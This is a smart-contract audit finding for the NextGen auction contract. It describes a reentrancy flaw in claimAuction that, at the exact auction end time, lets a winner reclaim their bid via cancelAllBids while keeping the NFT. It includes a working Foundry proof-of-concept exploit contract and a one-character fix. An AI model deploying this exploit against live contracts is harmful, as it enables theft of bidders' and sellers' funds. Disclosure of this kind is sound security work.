NextGen - darksnow's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

The claimAuction function transfers the ERC721 indexed by the given _tokenid to the highest bidder. However the safeTransferFrom() function has a callback mechanism which could be exploited to hijack the control flow. While transfering a ERC721 the onERC721Received() external function is invoked when the receiving address is a contract, allowing the attacker to re-enter the protocol's contract.

In this case an attacker can reenter cancelBid of cancelAllBids function to take back his bid after getting the NFT. If there is enough ETH in the contract (e.g. there are other running auctions) to pay the owner and refund other bidders the transaction will not revert.

Proof of Concept

The exploit is possible due to the require statements in the above mentioned functions.

In claimAuction:

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && ...

In cancelBid and cancelAllBids:

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

If we call the claimAuction function with exactly block.timestamp == minter.getAuctionEndTime(_tokenid) we can bypass the two require statements.

pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "forge-std/console2.sol";

import "../smart-contracts/AuctionDemo.sol";
import "../smart-contracts/ERC721.sol";

contract Audit is Test {
    function setUp() public {}

    function test_attack() public {
        // owner
        address owner = address(0x1);

        // bidders
        address addr1 = address(0x2);
        address addr2 = address(0x3);
        address addr3 = address(0x4);
        vm.deal(addr1, 10 ether);
        vm.deal(addr2, 10 ether);
        vm.deal(addr3, 10 ether);

        // attacker
        address attacker = address(0x5);
        vm.deal(attacker, 10 ether);

        vm.startPrank(owner, owner);
        MinterContract minter = new MinterContract();
        Gencore gencore = new Gencore("gencore", "GEN");
        AdminContract adminsContract = new AdminContract();
        auctionDemo auction = new auctionDemo(
            address(minter),
            address(gencore),
            address(adminsContract)
        );

        // set collection approval
        gencore.setApprovalForAll(address(auction), true);

        vm.startPrank(addr1, addr1);
        auction.participateToAuction{value: 1 ether}(0);
        auction.participateToAuction{value: 1 ether}(1);
        auction.participateToAuction{value: 1 ether}(2);

        vm.startPrank(addr2, addr2);
        auction.participateToAuction{value: 2 ether}(0);
        auction.participateToAuction{value: 2 ether}(1);
        auction.participateToAuction{value: 2 ether}(2);

        vm.startPrank(addr3, addr3);
        auction.participateToAuction{value: 3 ether}(0);
        auction.participateToAuction{value: 3 ether}(1);
        auction.participateToAuction{value: 3 ether}(2);

        vm.startPrank(attacker, attacker);
        Exploiter exploiter = new Exploiter(auction, gencore);
        exploiter.partecipate{value: 4 ether}(0);

        // warp to block.timestamp == minter.getAuctionEndTime(_tokenid)
        vm.warp(minter.getAuctionEndTime(0));

        exploiter.claimNFT(0);

        // auction has been claimed
        assert(auction.auctionClaim(0) == true);
        // attacker get the NFT
        assert(gencore.ownerOf(0) == attacker);
        // attacker get back his bid
        assert(attacker.balance == 10 ether);
        // other bidders get back their bids
        assert(addr1.balance == 8 ether);
        assert(addr2.balance == 6 ether);
        assert(addr3.balance == 4 ether);
        // owner get the value of the attacker bid
        assert(owner.balance == 4 ether);
    }
}

contract MinterContract {
    function getAuctionEndTime(uint256 _tokenid) public returns (uint256) {
        return 1 days;
    }

    function getAuctionStatus(uint256 _tokenid) public returns (bool) {
        return true;
    }
}

contract AdminContract {
    function retrieveFunctionAdmin(
        address _address,
        bytes4 _selector
    ) public view returns (bool) {
        return false;
    }

    function retrieveGlobalAdmin(address _address) public view returns (bool) {
        return false;
    }
}

contract Gencore is ERC721 {
    constructor(
        string memory _name,
        string memory _symbol
    ) ERC721(_name, _symbol) {
        _mint(msg.sender, 0);
        _mint(msg.sender, 1);
        _mint(msg.sender, 2);
    }
}

contract Exploiter is IERC721Receiver {
    address owner;
    auctionDemo auction;
    Gencore gencore;

    constructor(auctionDemo _auction, Gencore _gencore) {
        owner = msg.sender;
        auction = _auction;
        gencore = _gencore;
    }

    function partecipate(uint256 auctionId) public payable {
        auction.participateToAuction{value: msg.value}(auctionId);
    }

    function claimNFT(uint256 auctionId) public {
        auction.claimAuction(auctionId);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes memory data
    ) external returns (bytes4) {
        auction.cancelAllBids(tokenId);
        payable(owner).call{value: address(this).balance}("");
        gencore.transferFrom(address(this), owner, tokenId);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Tools Used

Manual review.

Recommended Mitigation Steps

Use < instead of <= in the cancelBid and cancelAllBids functions.

require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

Reentrancy